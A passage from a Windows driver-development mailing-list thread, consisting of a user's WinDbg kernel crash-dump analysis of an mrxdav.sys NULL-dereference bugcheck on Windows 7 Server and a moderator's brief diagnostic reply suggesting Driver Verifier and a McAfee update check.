: 0 '' +0x04a ReadAccess : 0 '' +0x04b WriteAccess : 0 '' +0x04c DeleteAccess
: 0 '' +0x04d SharedRead : 0 '' +0x04e SharedWrite : 0 '' +0x04f SharedDelete
: 0 '' +0x050 Flags : 2 +0x058 FileName : \_UNICODE\_STRING
"\vidplf01@8080\Reference Data" +0x068 CurrentByteOffset : \_LARGE\_INTEGER
0x0 +0x070 Waiters : 0 +0x074 Busy : 0 +0x078 LastLock : \(null\) +0x080 Lock
: \_KEVENT +0x098 Event : \_KEVENT +0x0b0 CompletionContext : \(null\) +0x0b8
IrpListLock : 0 +0x0c0 IrpList : \_LIST\_ENTRY \[ 0xfffffa80\`c38626e0 -
0xfffffa80\`c38626e0 \] +0x0d0 FileObjectExtension : 0xfffffa80\`c25c7cb0 Void
7: kd> \!locks \*\*\*\* DUMP OF ALL RESOURCE OBJECTS \*\*\*\* KD: Scanning for
held locks.............................................................
Resource @ 0xfffffa80c1d932d0 Exclusively owned Contention Count = 9 Threads:
fffffa80cec85700-01<\*> KD: Scanning for held locks. Resource @
mrxdav\!UMRxAsyncEngineContextListLock \(0xfffff88003986180\) Exclusively
owned Contention Count = 6 Threads: fffffa80c3cb1410-01<\*> KD: Scanning for
held
locks............................................................................
.......................... 139721 total locks, 2 locks currently held 7: kd>
\!irpfind 0 0 Thread 0xfffffa80c1d932d0 Looking for IRPs with thread ==
fffffa80c1d932d0 Scanning large pool allocation table for tag 0x3f707249
\(Irp?\) \(fffffa80d8200000 : fffffa80d8500000\) Page 43c6ef not present in
the dump file. Type ".hh dbgerr004" for details Page 43c6d6 not present in the
dump file. Type ".hh dbgerr004" for details Page 43be29 not present in the
dump file. Type ".hh dbgerr004" for details Page 43be2a not present in the
dump file. Type ".hh dbgerr004" for details Page 43c717 not present in the
dump file. Type ".hh dbgerr004" for details Searching nonpaged pool
\(fffffa80c0008000 : fffffa83bbe00000\) for tag 0x3f707249 \(Irp?\) 7: kd>
\!irpfind 0 0 Thread fffffa80c3cb1410 Looking for IRPs with thread ==
fffffa80c3cb1410 Scanning large pool allocation table for tag 0x3f707249
\(Irp?\) \(fffffa80d8200000 : fffffa80d8500000\) Page 43c6ef not present in
the dump file. Type ".hh dbgerr004" for details Page 43c6d6 not present in the
dump file. Type ".hh dbgerr004" for details Page 43be29 not present in the
dump file. Type ".hh dbgerr004" for details Page 43be2a not present in the
dump file. Type ".hh dbgerr004" for details Page 43c717 not present in the
dump file. Type ".hh dbgerr004" for details Searching nonpaged pool
\(fffffa80c0008000 : fffffa83bbe00000\) for tag 0x3f707249 \(Irp?\) Irp \[
Thread \] irpStack: \(Mj,Mn\) DevObj \[Driver\] MDL Process fffffa80d1861ca0
\[fffffa80c3cb1410\] irpStack: \( e, 0\) fffffa80c1d93040 \[
\FileSystem\MRxDAV\] 0xfffffa80c4abdb10 7: kd> \!running -it System
Processors: \(00000000000000ff\) Idle Processors: \(000000000000007f\)
\(0000000000000000\) \(0000000000000000\) \(0000000000000000\) Prcbs Current
\(pri\) Next \(pri\) Idle 0 fffff80002204e80 fffff80002212cc0 \( 0\)
fffff80002212cc0 ................ \# Child-SP RetAddr Call Site 00
fffff800\`01e18c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff800\`01e18ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff800\`01e18d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 1 fffff880009bf180 fffff880009ca0c0 \(
0\) fffff880009ca0c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`009d2c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`009d2ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`009d2d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 2 fffff88001e5d180 fffff88001e680c0 \(
0\) fffff88001e680c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`01e85c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`01e85ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`01e85d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 3 fffff88001ece180 fffff88001ed90c0 \(
0\) fffff88001ed90c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`01ef6c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`01ef6ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`01ef6d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 4 fffff88001f3f180 fffff88001f4a0c0 \(
0\) fffff88001f4a0c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`01f67c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`01f67ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`01f67d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 5 fffff88001fb0180 fffff88001fbb0c0 \(
0\) fffff88001fbb0c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`01fd8c98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`01fd8ca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`01fd8d80
00000000\`00000000 nt\!KiIdleLoop+0x2c 6 fffff88001fe1180 fffff88001fec0c0 \(
0\) fffff88001fec0c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`0205bc98 fffff800\`0208ebe9 intelppm\!C1Halt+0x2 01
fffff880\`0205bca0 fffff800\`0207d0dc nt\!PoIdle+0x52a 02 fffff880\`0205bd80
00000000\`00000000 nt\!KiIdleLoop+0x2c 7 fffff880020a4180 fffffa80c3cb1410 \(
8\) fffff880020af0c0 ................ \# Child-SP RetAddr Call Site 00
fffff880\`0572b078 fffff880\`0330cec2 nt\!KeBugCheckEx 01 fffff880\`0572b080
fffff880\`03312c11 rdbss\!RxExceptionFilter+0xea 02 fffff880\`0572b0d0
fffff800\`020b19c4 rdbss\! ?? ::FNODOBFM::\`string'+0x547 03
fffff880\`0572b120 fffff880\`03312665 nt\!\_C\_specific\_handler+0x8c 04
fffff880\`0572b190 fffff800\`020b143d rdbss\!\_GSHandlerCheck\_SEH+0x75 05
fffff880\`0572b1c0 fffff800\`020b0215 nt\!RtlpExecuteHandlerForException+0xd
06 fffff880\`0572b1f0 fffff800\`020c1725 nt\!RtlDispatchException+0x415 07
fffff880\`0572b8d0 fffff800\`02084a82 nt\!KiDispatchException+0x135 08
fffff880\`0572bf70 fffff800\`020835fa nt\!KiExceptionDispatch+0xc2 09
fffff880\`0572c150 fffff880\`03992def nt\!KiPageFault+0x23a 0a
fffff880\`0572c2e0 fffff880\`0399e7be
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf 0b fffff880\`0572c330
fffff880\`0399f633 mrxdav\!UMRxPrepareUserModeRequestBuffer+0x2ca 0c
fffff880\`0572c3c0 fffff880\`03988411 mrxdav\!UMRxAssignWork+0x47b 0d
fffff880\`0572c420 fffff880\`03332345 mrxdav\!MRxDAVDevFcbXXXControlFile+0x36d
0e fffff880\`0572c490 fffff880\`03331709 rdbss\!RxXXXControlFileCallthru+0xcd
0f fffff880\`0572c4c0 fffff880\`032ff6a0 rdbss\!RxCommonDevFCBIoCtl+0xf5 10
fffff880\`0572c510 fffff880\`0331cbb4 rdbss\!RxFsdCommonDispatch+0x870 11
fffff880\`0572c600 fffff880\`03990be5 rdbss\!RxFsdDispatch+0x224 12
fffff880\`0572c670 fffff880\`014a7c79 mrxdav\!MRxDAVFsdDispatch+0x6c5 13
fffff880\`0572c740 fffff880\`014a6175 mup\!MupiCallUncProvider+0x169 14
fffff880\`0572c7b0 fffff880\`014a8001 mup\!MupStateMachine+0x165 15
fffff880\`0572c800 fffff880\`0130e6af mup\!MupFsdIrpPassThrough+0x12d 16
fffff880\`0572c850 fffff880\`015659e3 fltmgr\!FltpDispatch+0x9f 17
fffff880\`0572c8b0 fffff880\`0130e6af
mfehidk\!DEVICEDISPATCH::DispatchPassThrough+0x143 18 fffff880\`0572c930
fffff800\`0239184a fltmgr\!FltpDispatch+0x9f 19 fffff880\`0572c990
fffff800\`023a59aa nt\!IopSynchronousServiceTail+0xfa 1a fffff880\`0572ca00
fffff800\`023a5a46 nt\!IopXxxControlFile+0xc27 1b fffff880\`0572cb40
fffff800\`02084693 nt\!NtDeviceIoControlFile+0x56 1c fffff880\`0572cbb0
00000000\`7747bbaa nt\!KiSystemServiceCopyEnd+0x13 1d 00000000\`013afc58
00000000\`00000000 0x7747bbaa  
**Message 2 of 2** 06 Apr 17 11:01  
---  
|  Scott Noone xxxxxx@osr.com |  Join Date: 10 Jul 2002 Posts To This List: 537 List Moderator  
---|---  
Access Violation c0000005 - mrxdav or AV

* * *
This is an FSCTL into MUP, I don't think there's any specific file involved
\(or that knowing the file would help if there was\). Likely something was
previously corrupted and this thread just tripped over it, I'd run Driver
Verifier and look to see if there's any updates to McAfee. -scott OSR
@OSRDrivers wrote in message news:66550@windbg... Hi, I had a BSOD listed
below and according with the \!analyze -v the problem might be related with
the mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf / Access Violation
c0000005/ NULL\_DEREFERENCE related with module mrxdav.sys. I\`m a newbie on
WinDbg, but since the AV appears in the faulty Call stack I\`m suspecting that
the AV may something to do with it. Since this dump appears to deal with UNC
paths/File related, I was trying to find the file name/path and destination
\(not sure if is a local folder or remote computer\)??\!\!\! Can you give me
your opinion and show me how to find the UNC path or File name involved in
this problem? Bellow the Analysis that I was able to get from this kernel
dump. Thank you. 7: kd> \!analyze -v
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* \* \* Bugcheck Analysis \* \* \*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
RDR\_FILE\_SYSTEM \(27\) If you see RxExceptionFilter on the stack then the
2nd and 3rd parameters are the exception record and context record. Do a .cxr
on the 3rd parameter and then kb to obtain a more informative stack trace. The
high 16 bits of the first parameter is the RDBSS bugcheck code, which is
defined as follows: RDBSS\_BUG\_CHECK\_CACHESUP = 0xca550000,
RDBSS\_BUG\_CHECK\_CLEANUP = 0xc1ee0000, RDBSS\_BUG\_CHECK\_CLOSE =
0xc10e0000, RDBSS\_BUG\_CHECK\_NTEXCEPT = 0xbaad0000, Arguments: Arg1:
00000000baad0073 Arg2: fffff8800572c0a8 Arg3: fffff8800572b900 Arg4:
fffff88003992def Debugging Details: \------------------ EXCEPTION\_RECORD:
fffff8800572c0a8 -- \(.exr 0xfffff8800572c0a8\) ExceptionAddress:
fffff88003992def
\(mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0x00000000000000cf\)
ExceptionCode: c0000005 \(Access violation\) ExceptionFlags: 00000000
NumberParameters: 2 Parameter\[0\]: 0000000000000000 Parameter\[1\]:
0000000000000000 Attempt to read from address 0000000000000000 CONTEXT:
fffff8800572b900 -- \(.cxr 0xfffff8800572b900\) rax=0000000000000000
rbx=0000000000000000 rcx=fffffa80ed67d010 rdx=fffffa8147652810
rsi=fffffa80c9ce9f38 rdi=fffffa813cc9bca0 rip=fffff88003992def
rsp=fffff8800572c2e0 rbp=fffff8800304ed08 r8=fffff8800304ed08
r9=00000000000023d4 r10=fffffa81324b6494 r11=fffff8800572c300
r12=fffffa81324b6310 r13=fffff88003986110 r14=fffff88003985520
r15=fffffa80c1d93040 iopl=0 nv up ei ng nz na po nc cs=0010 ss=0018 ds=002b
es=002b fs=0053 gs=002b efl=00010286
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf: fffff880\`03992def
8b00 mov eax,dword ptr \[rax\] ds:002b:00000000\`00000000=???????? Resetting
default scope CPU\_COUNT: 8 CPU\_MHZ: 95d CPU\_VENDOR: GenuineIntel
CPU\_FAMILY: 6 CPU\_MODEL: 1a CPU\_STEPPING: 4 CPU\_MICROCODE: 6,1a,4,0
\(F,M,S,R\) SIG: 36'00000000 \(cache\) 36'00000000 \(init\)
DEFAULT\_BUCKET\_ID: NULL\_DEREFERENCE PROCESS\_NAME: svchost.exe
CURRENT\_IRQL: 0 ERROR\_CODE: \(NTSTATUS\) 0xc0000005 - The instruction at
0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION\_CODE:
\(NTSTATUS\) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p.
The memory could not be %s. EXCEPTION\_CODE\_STR: c0000005
EXCEPTION\_PARAMETER1: 0000000000000000 EXCEPTION\_PARAMETER2:
0000000000000000 FOLLOWUP\_IP:
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf fffff880\`03992def 8b00
mov eax,dword ptr \[rax\] FAULTING\_IP:
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf fffff880\`03992def 8b00
mov eax,dword ptr \[rax\] READ\_ADDRESS: 0000000000000000 BUGCHECK\_STR: 0x27
ANALYSIS\_SESSION\_HOST: C9O8EPR ANALYSIS\_SESSION\_TIME: 03-18-2017
19:20:11.0542 ANALYSIS\_VERSION: 10.0.14321.1024 amd64fre DEVICE\_OBJECT:
fffffa80d05b5070 DRIVER\_OBJECT: fffffa80c0f2fe40 LAST\_CONTROL\_TRANSFER:
from fffff8800399e7be to fffff88003992def STACK\_TEXT: fffff880\`0572c2e0
fffff880\`0399e7be : fffffa81\`324b6310 fffff880\`03992d20 fffffa81\`47652810
00000000\`00000000 : mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf
fffff880\`0572c330 fffff880\`0399f633 : fffffa81\`324b6310 00000000\`00000001
fffff800\`0237bf01 fffff800\`000023d4 :
mrxdav\!UMRxPrepareUserModeRequestBuffer+0x2ca fffff880\`0572c3c0
fffff880\`03988411 : fffffa81\`324b6458 00000000\`00000000 fffffa80\`d1861e0e
fffffa81\`06649010 : mrxdav\!UMRxAssignWork+0x47b fffff880\`0572c420
fffff880\`03332345 : fffffa80\`c1d93040 fffffa81\`06649010 fffffa80\`d1861e90
fffffa80\`d1861ca0 : mrxdav\!MRxDAVDevFcbXXXControlFile+0x36d
fffff880\`0572c490 fffff880\`03331709 : 00000000\`000001eb fffffa80\`d1861ca0
ffff0000\`0643a4df 64536553\`1263177c : rdbss\!RxXXXControlFileCallthru+0xcd
fffff880\`0572c4c0 fffff880\`032ff6a0 : 00000000\`00000000 fffff880\`0572c550
fffffa81\`06649010 00000000\`00000000 : rdbss\!RxCommonDevFCBIoCtl+0xf5
fffff880\`0572c510 fffff880\`0331cbb4 : fffffa80\`d1861ca0 fffffa80\`d05b500e
00000000\`014a9918 00000000\`00000001 : rdbss\!RxFsdCommonDispatch+0x870
fffff880\`0572c600 fffff880\`03990be5 : 00000000\`00000000 fffff880\`014a9918
fffffa80\`d1861ca0 fffffa80\`d05b5070 : rdbss\!RxFsdDispatch+0x224
fffff880\`0572c670 fffff880\`014a7c79 : fffffa80\`c1d93040 fffffa80\`d1861ca0
fffff880\`0572c80e 00000000\`00000000 : mrxdav\!MRxDAVFsdDispatch+0x6c5
fffff880\`0572c740 fffff880\`014a6175 : fffff8a0\`002aa8a0 fffffa80\`c9572620
00000000\`00000103 fffffa80\`d1861f20 : mup\!MupiCallUncProvider+0x169
fffff880\`0572c7b0 fffff880\`014a8001 : fffffa80\`d1861ca0 fffff880\`014a4118
fffffa80\`d05b5070 00000000\`00000000 : mup\!MupStateMachine+0x165
fffff880\`0572c800 fffff880\`0130e6af : fffffa80\`c0f2f9f0 fffffa80\`c9572620
fffffa80\`d05b5000 fffffa80\`d1861ca0 : mup\!MupFsdIrpPassThrough+0x12d
fffff880\`0572c850 fffff880\`015659e3 : fffffa80\`c1078000 00000000\`00000002
fffffa80\`c1078000 fffffa80\`d05b5000 : fltmgr\!FltpDispatch+0x9f
fffff880\`0572c8b0 fffff880\`0130e6af : fffffa80\`c3880830 fffffa80\`d05b5070
00000000\`00000001 fffffa80\`d1861ca0 :
mfehidk\!DEVICEDISPATCH::DispatchPassThrough+0x143 fffff880\`0572c930
fffff800\`0239184a : 00000000\`00000002 fffffa80\`d05b5070 00000000\`00000001
fffffa80\`d1861ca0 : fltmgr\!FltpDispatch+0x9f fffff880\`0572c990
fffff800\`023a59aa : fffffa80\`d05b5070 00000000\`00000000 fffffa80\`d05b5070
fffffa80\`d05b5070 : nt\!IopSynchronousServiceTail+0xfa fffff880\`0572ca00
fffff800\`023a5a46 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!IopXxxControlFile+0xc27 fffff880\`0572cb40
fffff800\`02084693 : 00000000\`00000001 fffffa80\`cba45060 00000000\`00000000
fffff880\`0572cc00 : nt\!NtDeviceIoControlFile+0x56 fffff880\`0572cbb0
00000000\`7747bbaa : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!KiSystemServiceCopyEnd+0x13 00000000\`013afc58
00000000\`00000000 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : 0x7747bbaa THREAD\_SHA1\_HASH\_MOD\_FUNC:
0f1c2a86b1b6e813715fcce35a8f75984029d48e
THREAD\_SHA1\_HASH\_MOD\_FUNC\_OFFSET:
adc93dcb4217433e9f4e37d2ea4740ca5bc14555 THREAD\_SHA1\_HASH\_MOD:
cf421238e1ccaa278482b9fea3276d57a1e118b5 FAULT\_INSTR\_CODE: 8589008b
SYMBOL\_STACK\_INDEX: 0 SYMBOL\_NAME:
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf FOLLOWUP\_NAME:
MachineOwner MODULE\_NAME: mrxdav IMAGE\_NAME: mrxdav.sys
DEBUG\_FLR\_IMAGE\_TIMESTAMP: 568ea37b STACK\_COMMAND: .cxr 0xfffff8800572b900
; kb FAILURE\_BUCKET\_ID:
X64\_0x27\_mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf BUCKET\_ID:
X64\_0x27\_mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf
PRIMARY\_PROBLEM\_CLASS:
X64\_0x27\_mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf
TARGET\_TIME: 2017-01-12T10:52:51.000Z OSBUILD: 7601 OSSERVICEPACK: 1000
SERVICEPACK\_NUMBER: 0 OS\_REVISION: 0 SUITE\_MASK: 16 PRODUCT\_TYPE: 3
OSPLATFORM\_TYPE: x64 OSNAME: Windows 7 OSEDITION: Windows 7 Server \(Service
Pack 1\) TerminalServer OS\_LOCALE: USER\_LCID: 0 OSBUILD\_TIMESTAMP:
2016-04-09 06:46:22 BUILDDATESTAMP\_STR: 160408-2045 BUILDLAB\_STR:
win7sp1\_ldr BUILDOSVER\_STR: 6.1.7601.23418.amd64fre.win7sp1\_ldr.160408-2045
ANALYSIS\_SESSION\_ELAPSED\_TIME: 43b ANALYSIS\_SOURCE: KM
FAILURE\_ID\_HASH\_STRING:
km:x64\_0x27\_mrxdav\!mrxdavformatusermodevnetrootfinalizerequest+cf
FAILURE\_ID\_HASH: \{13c7e885-fd69-3db5-b48f-4af0d2ab0812\} Followup:
MachineOwner \--------- 7: kd> lmvm mrxdav Browse full module list start end
module name fffff880\`0397e000 fffff880\`039a7000 mrxdav \(pdb symbols\)
c:\sym\mrxdav.pdb\6806449D6A9B408BB4453345D3ED8DB91\mrxdav.pdb Loaded symbol
image file: mrxdav.sys Image path: \SystemRoot\system32\drivers\mrxdav.sys
Image name: mrxdav.sys Browse all global symbols functions data Timestamp: Thu
Jan 7 17:42:19 2016 \(568EA37B\) CheckSum: 000243D6 ImageSize: 00029000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 7: kd> \!pte
00000000baad0073 VA ffffffffbaad0073 PXE at FFFFF6FB7DBEDFF8 PPE at
FFFFF6FB7DBFFFF0 PDE at FFFFF6FB7FFFEEA8 PTE at FFFFF6FFFFDD5680 contains
00000000001C4063 contains 0000000000000000 pfn 1c4 ---DA--KWEV not valid 7:
kd> \!devobj fffffa80d05b5070 f fffffa80d05b5070: is not a device object 7:
kd> \!drvobj fffffa80c0f2fe40 f Driver object \(fffffa80c0f2fe40\) is for:
fffffa80c0f2fe40: is not a driver object 7: kd> .cxr 0xfffff8800572b900
rax=0000000000000000 rbx=0000000000000000 rcx=fffffa80ed67d010
rdx=fffffa8147652810 rsi=fffffa80c9ce9f38 rdi=fffffa813cc9bca0
rip=fffff88003992def rsp=fffff8800572c2e0 rbp=fffff8800304ed08
r8=fffff8800304ed08 r9=00000000000023d4 r10=fffffa81324b6494
r11=fffff8800572c300 r12=fffffa81324b6310 r13=fffff88003986110
r14=fffff88003985520 r15=fffffa80c1d93040 iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010286
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf: fffff880\`03992def
8b00 mov eax,dword ptr \[rax\] ds:002b:00000000\`00000000=???????? 7: kd> ub
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xad: fffff880\`03992dcd
488bb7e8000000 mov rsi,qword ptr \[rdi+0E8h\] fffff880\`03992dd4 488b4810 mov
rcx,qword ptr \[rax+10h\] fffff880\`03992dd8 488bc3 mov rax,rbx
fffff880\`03992ddb 488b7910 mov rdi,qword ptr \[rcx+10h\] fffff880\`03992ddf
483bfb cmp rdi,rbx fffff880\`03992de2 7404 je
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xc8
\(fffff880\`03992de8\) fffff880\`03992de4 488b4710 mov rax,qword ptr
\[rdi+10h\] fffff880\`03992de8 c7453008000000 mov dword ptr \[rbp+30h\],8 7:
kd> u . mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf:
fffff880\`03992def 8b00 mov eax,dword ptr \[rax\] fffff880\`03992df1
898588020000 mov dword ptr \[rbp+288h\],eax fffff880\`03992df7 8b4650 mov
eax,dword ptr \[rsi+50h\] fffff880\`03992dfa 898580020000 mov dword ptr
\[rbp+280h\],eax fffff880\`03992e00 8b4654 mov eax,dword ptr \[rsi+54h\]
fffff880\`03992e03 898584020000 mov dword ptr \[rbp+284h\],eax
fffff880\`03992e09 488b050033ffff mov rax,qword ptr
\[mrxdav\!WPP\_GLOBAL\_Control \(fffff880\`03986110\)\] fffff880\`03992e10
493bc5 cmp rax,r13 7: kd> \!thread -1 17 THREAD fffffa80c3cb1410 Cid 169c.18bc
Teb: 000007fffffd3000 Win32Thread: 0000000000000000 RUNNING on processor 7 IRP
List: fffffa80d1861ca0: \(0006,0358\) Flags: 00060000 Mdl: fffffa80dc12b710
Not impersonating DeviceMap fffff8a001137980 Owning Process fffffa80c4abdb10
Image: svchost.exe Attached Process N/A Image: N/A Wait Start TickCount
464334880 Ticks: 0 Context Switch Count 18 IdealProcessor: 7 UserTime
00:00:00.000 KernelTime 00:00:00.000 Win32 Start Address 0x000007fef20e1c2c
Stack Init fffff8800572cdb0 Current fffff8800572c0f0 Base fffff8800572d000
Limit fffff88005727000 Call 0000000000000000 Priority 8 BasePriority 8
PriorityDecrement 0 IoPriority 2 PagePriority 5 Child-SP RetAddr : Args to
Child : Call Site fffff880\`0572b078 fffff880\`0330cec2 : 00000000\`00000027
00000000\`baad0073 fffff880\`0572c0a8 fffff880\`0572b900 : nt\!KeBugCheckEx
fffff880\`0572b080 fffff880\`03312c11 : fffff880\`03314254 fffff880\`0572c550
fffff880\`0572c510 00000000\`00000000 : rdbss\!RxExceptionFilter+0xea
fffff880\`0572b0d0 fffff800\`020b19c4 : 00000000\`00000000 00000000\`00000000
00000000\`00000000 00000000\`00000000 : rdbss\! ?? ::FNODOBFM::\`string'+0x547
fffff880\`0572b120 fffff880\`03312665 : fffff880\`0331425c fffff880\`0572c510
fffff880\`0572c0a8 fffff880\`0572c510 : nt\!\_C\_specific\_handler+0x8c
fffff880\`0572b190 fffff800\`020b143d : fffff880\`03314248 00000000\`00000000
fffff880\`032fb000 00000000\`00000000 : rdbss\!\_GSHandlerCheck\_SEH+0x75
fffff880\`0572b1c0 fffff800\`020b0215 : fffff880\`03314248 fffff880\`0572b238
fffff880\`0572c0a8 fffff880\`032fb000 : nt\!RtlpExecuteHandlerForException+0xd
fffff880\`0572b1f0 fffff800\`020c1725 : fffff880\`0572c0a8 fffff880\`0572b900
fffff880\`00000000 fffffa81\`3cc9bca0 : nt\!RtlDispatchException+0x415
fffff880\`0572b8d0 fffff800\`02084a82 : fffff880\`0572c0a8 00000000\`00000000
fffff880\`0572c150 fffffa80\`c9ce9f38 : nt\!KiDispatchException+0x135
fffff880\`0572bf70 fffff800\`020835fa : 00000000\`00000000 00000000\`00000000
00000000\`00000000 00000000\`00000000 : nt\!KiExceptionDispatch+0xc2
fffff880\`0572c150 fffff880\`03992def : fffffa80\`c3cb1410 00000000\`00000000
fffffa80\`00000000 fffff800\`0208d6d3 : nt\!KiPageFault+0x23a \(TrapFrame @
fffff880\`0572c150\) fffff880\`0572c2e0 fffff880\`0399e7be :
fffffa81\`324b6310 fffff880\`03992d20 fffffa81\`47652810 00000000\`00000000 :
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf fffff880\`0572c330
fffff880\`0399f633 : fffffa81\`324b6310 00000000\`00000001 fffff800\`0237bf01
fffff800\`000023d4 : mrxdav\!UMRxPrepareUserModeRequestBuffer+0x2ca
fffff880\`0572c3c0 fffff880\`03988411 : fffffa81\`324b6458 00000000\`00000000
fffffa80\`d1861e0e fffffa81\`06649010 : mrxdav\!UMRxAssignWork+0x47b
fffff880\`0572c420 fffff880\`03332345 : fffffa80\`c1d93040 fffffa81\`06649010
fffffa80\`d1861e90 fffffa80\`d1861ca0 :
mrxdav\!MRxDAVDevFcbXXXControlFile+0x36d fffff880\`0572c490 fffff880\`03331709
: 00000000\`000001eb fffffa80\`d1861ca0 ffff0000\`0643a4df 64536553\`1263177c
: rdbss\!RxXXXControlFileCallthru+0xcd fffff880\`0572c4c0 fffff880\`032ff6a0 :
00000000\`00000000 fffff880\`0572c550 fffffa81\`06649010 00000000\`00000000 :
rdbss\!RxCommonDevFCBIoCtl+0xf5 fffff880\`0572c510 fffff880\`0331cbb4 :
fffffa80\`d1861ca0 fffffa80\`d05b500e 00000000\`014a9918 00000000\`00000001 :
rdbss\!RxFsdCommonDispatch+0x870 fffff880\`0572c600 fffff880\`03990be5 :
00000000\`00000000 fffff880\`014a9918 fffffa80\`d1861ca0 fffffa80\`d05b5070 :
rdbss\!RxFsdDispatch+0x224 fffff880\`0572c670 fffff880\`014a7c79 :
fffffa80\`c1d93040 fffffa80\`d1861ca0 fffff880\`0572c80e 00000000\`00000000 :
mrxdav\!MRxDAVFsdDispatch+0x6c5 fffff880\`0572c740 fffff880\`014a6175 :
fffff8a0\`002aa8a0 fffffa80\`c9572620 00000000\`00000103 fffffa80\`d1861f20 :
mup\!MupiCallUncProvider+0x169 fffff880\`0572c7b0 fffff880\`014a8001 :
fffffa80\`d1861ca0 fffff880\`014a4118 fffffa80\`d05b5070 00000000\`00000000 :
mup\!MupStateMachine+0x165 fffff880\`0572c800 fffff880\`0130e6af :
fffffa80\`c0f2f9f0 fffffa80\`c9572620 fffffa80\`d05b5000 fffffa80\`d1861ca0 :
mup\!MupFsdIrpPassThrough+0x12d fffff880\`0572c850 fffff880\`015659e3 :
fffffa80\`c1078000 00000000\`00000002 fffffa80\`c1078000 fffffa80\`d05b5000 :
fltmgr\!FltpDispatch+0x9f fffff880\`0572c8b0 fffff880\`0130e6af :
fffffa80\`c3880830 fffffa80\`d05b5070 00000000\`00000001 fffffa80\`d1861ca0 :
mfehidk\!DEVICEDISPATCH::DispatchPassThrough+0x143 fffff880\`0572c930
fffff800\`0239184a : 00000000\`00000002 fffffa80\`d05b5070 00000000\`00000001
fffffa80\`d1861ca0 : fltmgr\!FltpDispatch+0x9f fffff880\`0572c990
fffff800\`023a59aa : fffffa80\`d05b5070 00000000\`00000000 fffffa80\`d05b5070
fffffa80\`d05b5070 : nt\!IopSynchronousServiceTail+0xfa fffff880\`0572ca00
fffff800\`023a5a46 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!IopXxxControlFile+0xc27 fffff880\`0572cb40
fffff800\`02084693 : 00000000\`00000001 fffffa80\`cba45060 00000000\`00000000
fffff880\`0572cc00 : nt\!NtDeviceIoControlFile+0x56 fffff880\`0572cbb0
00000000\`7747bbaa : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!KiSystemServiceCopyEnd+0x13 \(TrapFrame @
fffff880\`0572cc20\) 00000000\`013afc58 00000000\`00000000 :
00000000\`00000000 00000000\`00000000 00000000\`00000000 00000000\`00000000 :
0x7747bbaa 7: kd> \!irp fffffa80d1861ca0 Irp is active with 6 stacks 5 is
current \(= 0xfffffa80d1861e90\) Mdl=fffffa80dc12b710: No System Buffer:
Thread fffffa80c3cb1410: Irp stack trace. cmd flg cl Device File Completion-
Context \[N/A\(0\), N/A\(0\)\] 0 0 00000000 00000000 00000000-00000000 Args:
00000000 00000000 00000000 00000000 \[N/A\(0\), N/A\(0\)\] 0 0 00000000
